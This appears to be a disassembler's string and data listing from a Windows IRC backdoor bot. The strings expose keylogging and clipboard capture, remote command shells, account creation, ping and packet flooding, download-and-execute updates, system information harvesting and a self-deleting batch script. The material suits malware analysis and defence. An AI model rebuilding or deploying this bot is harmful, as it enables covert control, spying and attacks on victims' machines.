sub_40981F+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981F+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981F:loc_40A372o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981F:loc_40A2FEo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981F+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981F:loc_40A2B4o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981F:loc_40A26Ao align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981F+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981F+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981F+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981F+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981F+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981F+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981F+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981F+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981F:loc_40A15Fo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981F+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981F+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981F+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981F:loc_40A100o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981F+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981F:loc_409FE0o aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981F+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981F+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981F+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981F+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_40981F+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981F+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981F+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_40981F+62Do ; ___:0042FA40o align 4 aListen db 'listen',0 ; DATA XREF: sub_40981F+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40981F+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40981F+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981F+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_40981F+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40981F+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_40981F+5D2o ; sub_40EE72+220Do align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40981F+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40981F+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40981F+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40981F+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981F+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981F+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40981F+577o ; ___:0042FE50o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981F+56Ao aSocket db 'socket',0 ; DATA XREF: sub_40981F+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981F+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981F+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981F+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981F+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981F+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981F+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981F+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981F+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981F+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981F+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981F+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981F+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981F+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981F+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981F:loc_409C2Eo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981F:loc_409C06o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981F+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40981F+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981F+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981F+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981F:loc_409B58o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981F+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981F+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981F+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981F+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981F+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981F:loc_409A7Eo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981F+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981F+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981F+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981F+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981F+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981F+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981F+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981F+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981F+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40981F:loc_409954o ; sub_42105F+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981F+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981F+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_40981F+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981F+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981F+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981F+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40981F+Ao align 4 unk_42D764 db 2 ; DATA XREF: sub_40A4AC+2F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o align 10h aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40AAFA+5o ; sub_415C5E+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB7C+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC42+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC42+48o align 4 unk_42D9A8 db 2 ; DATA XREF: sub_40AE02:loc_40AEC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42D9E8 db 2 ; DATA XREF: sub_40AE02:loc_40AE8Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42DA28 db 2 ; DATA XREF: sub_40AE02:loc_40AE5Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42DA5C db 2 ; DATA XREF: sub_40AE02+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42DA9C db 2 ; DATA XREF: sub_40AF86+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42DAD8 db 2 ; DATA XREF: sub_40AF86+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_42DB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+1C6o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42DB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+8Eo dd 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o dword_42DB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B549o dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42DBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42DC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B4FDo dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_42DC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42DC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B56C+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B721+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B8D8+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D8+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co align 10h word_42DDD0 dw 3Fh ; DATA XREF: sub_40B8D8:loc_40B9DAr ; sub_40D099+1Fo align 4 dword_42DDD4 dd 28207325h, 297325h ; DATA XREF: sub_40B8D8+EBo dword_42DDDC dd 3F3F3Fh ; DATA XREF: sub_40B8D8:loc_40B99Bo ; ___:loc_415C0Fo a2003 db '2003',0 ; DATA XREF: sub_40B8D8+BAo ; ___:0042F8D8o align 4 aXp db 'XP',0 ; DATA XREF: sub_40B8D8+AAo ; ___:00415BFAo align 4 a2k db '2K',0 ; DATA XREF: sub_40B8D8+98o ; ___:00415BEAo align 10h aMe db 'ME',0 ; DATA XREF: sub_40B8D8+7Eo ; ___:00415BD1o align 4 a98 db '98',0 ; DATA XREF: sub_40B8D8+6Co ; ___:00415BC1o align 4 aNt db 'NT',0 ; DATA XREF: sub_40B8D8+5Ao ; ___:00415BB1o align 4 a95 db '95',0 ; DATA XREF: sub_40B8D8+46o ; ___:00415BA3o align 10h aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40BB8C+A4o align 10h off_42DE40 dd offset loc_412F4B+3 ; DATA XREF: sub_40BB8C:loc_40BBF8o off_42DE44 dd offset dword_4E414C ; DATA XREF: sub_40BB8C:loc_40BBEEo dword_42DE48 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BB8C+5Bo dword_42DE50 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BB8C+48o unk_42DE60 db 2 ; DATA XREF: sub_40BC4B:loc_40BE04o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_42DEA0 db 2 ; DATA XREF: sub_40BC4B:loc_40BDFDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42DEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+1A0o dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h dd 0 unk_42DF08 db 2 ; DATA XREF: sub_40BC4B:loc_40BDDEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42DF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+18Co dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h dd 0 dword_42DF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4B+3Bo dword_42DF84 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40BEF5+35o dword_42DF90 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o align 4 dword_42DFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_40C00D+1Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_42DFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+DCo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 0 dword_42E018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+3Fo dd 2BBBB02h, 65422020h, 6E6967h dword_42E038 dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h ; DATA XREF: sub_40C1AE+7o dword_42E050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C1AE+63o ; sub_40C351+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42E094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42E0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+47o ; sub_40C512+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42E108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+362o ; sub_40C8B4+156o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh dword_42E130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+2FAo dd 2BBBB02h aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42E180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42E1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h dword_42E1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C512+16Ao dd 169h dword_42E1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42E224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42E258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42E28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+1D1o dd 2BBBB02h aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 10h dword_42E2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+CBo dd 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42E310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+ABo dd 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_40C8B4+97o dword_42E350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h unk_42E390 db 2 ; DATA XREF: sub_40CAF1+493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42E3CC db 2 ; DATA XREF: sub_40CAF1+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42E414 db 2 ; DATA XREF: sub_40CAF1+3C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_42E464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_40CAF1+358o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o ; sub_40EE72+2B48o ... align 4 unk_42E498 db 2 ; DATA XREF: sub_40CAF1+2E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h unk_42E4E0 db 2 ; DATA XREF: sub_40CAF1+262o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_42E518 db 2 ; DATA XREF: sub_40CAF1+1D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_42E55C db 2 ; DATA XREF: sub_40CAF1+195o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 